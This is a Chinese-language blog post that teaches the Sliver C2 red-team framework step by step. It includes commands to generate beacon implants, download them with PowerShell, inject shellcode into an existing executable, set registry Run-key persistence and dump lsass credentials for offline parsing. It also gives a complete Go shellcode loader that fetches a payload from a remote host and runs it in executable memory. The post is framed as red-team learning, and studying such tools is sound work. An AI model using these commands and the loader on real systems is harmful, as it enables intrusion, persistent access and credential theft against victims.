Sliver C2学习

文摘   其他   2024-02-15 12:50   陕西  

简介

Sliver 是一个开源的跨平台对手模拟/红队框架,各种规模的组织都可以使用它来执行安全测试。Sliver 的植入程序支持基于相互 TLS (mTLS)、WireGuard、HTTP(S) 和 DNS 的 C2,并使用每个二进制非对称加密密钥进行动态编译。

服务器和客户端支持MacOS、Windows和Linux。MacOS、Windows 和 Linux(可能还有每个 Golang 编译器目标,但我们尚未对所有目标进行测试)均支持植入程序。

安装

sudo curl -q -o- https://sliver.sh/install | sudo bash

使用

我们可以使用使用sliver 来启动C2....

我们可以使用help来查看有那些命令参数。

我们可以直接使用http命令来创建监听器,当然也可以创建tcp以及https等等。

如果我们不知道如何使用的话我们可以使用-h参数来查看如何使用。

所以我们可以通过-l参数来指定要监听的端口,和CobaltStrike类似,只是Sliver是命令行进行创建。

如下监听了8003端口。

我们可以创建多个监听器,例如如下我们创建http以及https

我们可以使用jobs命令来查看监听器。

如果需要删除监听器的话我们可以使用jobs -k ID来进行删除。

现在让我们来生成一个木马来进行上线。

使用如下命令:

generate beacon -h

这里需要着重介绍2个参数。

-f表示输出文件的格式,这里默认是exe格式。

-S表示Beacon回连的间隔时间,类似于CobaltStrike 中C2 Profile中配置的间隔时间。

现在让我们来生成一个上线的木马文件。

generate beacon -b http://ip:port -S 5

现在我们将文件放到windows机器上运行即可。

也可以使用powershell下载:

iwr http://192.168.213.149:8000/PROSPECTIVE_AMUSEMENT.exe -o relaysec.exe

当我们双击之后会得到一个Session。

我们可以使用beacons命令来查看上线的Beacon。

可以使用use命令来选择Beacon。

我们可以正常执行命令,比如whoami

我们可以使用info命令来查看目标基本的架构信息,类似于systeminfo

我们可以使用interactive命令来打开交互式会话。

紧接着使用use按两下Tab键来选择。

使用shell命令来切换到powershell窗口。

他会提示你这个操作并不是那么的OPSEC,请慎重选择。

我们选择y即可。

我们可以使用exit来进行退出。

当我们回到交互式会话的时候我们可以使用background来返回到上一层,这和MSF相比起来是差不多的。

我们可以使用ps命令来查看进程相关的东西。

我们可以使用backdoor命令来目标系统上的现有文件中注入Shellcode。

但是在这之前需要创建一个服务的配置文件。

profiles new --format shellcode --http 192.168.213.149:8003 profile1

然后我们使用backdoor命令来向目标系统上的现有文件中注入Shellcode。

这时当我们启动Process Hacker的时候就会返回给我们一个Beacon。

此时我们先把会话删除。

beacons rm

当我们启动process Hacker的时候。

可以看到已经有Beacon反弹回来了。

查看进程,可以看到上线的是Process Hacker.exe。

我们可以使用registry命令来创建注册表维权。

现在让我们尝试使用registry命令。

registry write -T string  --hive HKCU "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\" "C\\Users\\Admin\\Desktop\\relaysec.exe"

现在让我们重启。

然后Sliver这里就会收到一个Beacon。

如果我们想多人运动的话,那么我们可以使用如下命令来生成新的队员的配置文件。

./sliver-server operator --name relaysec --lhost IP --save relaysec.cfg

现在我们将文件下载下来,然后可以去尝试连接。

连接的方式可以通过import方式。

./sliver-client_linux import relaysec.cfg

如下是我在服务器上上线的一台机器。

另一个是使用kali连接到服务端。

这样就实现了多人运动。

前面我们生成的都是exe,现在如果我们想生成bin文件的话,我们可以使用mtls进行生成。

generate — mtls 192.210.140.85 — save /tmp — skip-symbols -f shellcode — os windows

但是在这之前我们需要启动mtls作为监听器。

mtls -l 8889

现在让我们使用如下程序进行加载。

package mainimport ( "io/ioutil" "net/http" "syscall" "unsafe")const ( MEM_COMMIT             = 0x1000 MEM_RESERVE            = 0x2000 PAGE_EXECUTE_READWRITE = 0x40)var ( kernel32           = syscall.MustLoadDLL("kernel32.dll") ntdll              = syscall.MustLoadDLL("ntdll.dll") VirtualAlloc       = kernel32.MustFindProc("VirtualAlloc") procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect") RtlMoveMemory      = ntdll.MustFindProc("RtlMoveMemory"))func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool { ret, _, _ := procVirtualProtect.Call(  uintptr(lpAddress),  uintptr(dwSize),  uintptr(flNewProtect),  uintptr(lpflOldProtect)) return ret > 0}func main() { response, _ := http.Get("http://ip/code.bin") defer response.Body.Close() charcode, _ := ioutil.ReadAll(response.Body) addr, _, _ := VirtualAlloc.Call(0, uintptr(len(charcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) _, _, _ = RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&charcode[0])), uintptr(len(charcode)))for j := 0; j < len(charcode); j++ {  charcode[j] = 0 } syscall.Syscall(addr, 0, 0, 0, 0)}

我们可以使用armory命令来获取可以使用的打包程序的列表,他就是类似于一个武器库,当你想使用的时候直接安装即可。

紧接着我们可以使用armory install hashdump来安装此程序。

然后我们就可以直接使用了,例如hashdump

在CobaltStrike中有进程迁移的功能,那么Sliver中也有这个功能,也就是migrate这个命令。

对于转储Lsass进程来说,我们可以使用procdump命令来转储lsass进程。

procdump --pid 652 --save lsa.DMP

然后我们可以使用pypykatz来离线读取。

pypykatz lsa minidump lsass.DMP 

一般的话我们不喜欢使用shell来创建powershell执行cmd命令,所以我们可以使用execute命令来执行,这样更加的OPSEC一些。

无论是Mythic还是CobaltStrike都是支持socks5代理的,那么Sliver也是支持的。

除了我们可以使用socks5进行实现代理之外,Sliver提供了另一种方式,Wireguard VPN

最后记得转发噢 您的转发就是我更新的动力!!!

Relay学安全
这是一个纯分享技术的公众号,只想做安全圈的一股清流,不会发任何广告,不会接受任何广告,只会分享纯技术文章,欢迎各行各业的小伙伴关注。让我们一起提升技术。
 最新文章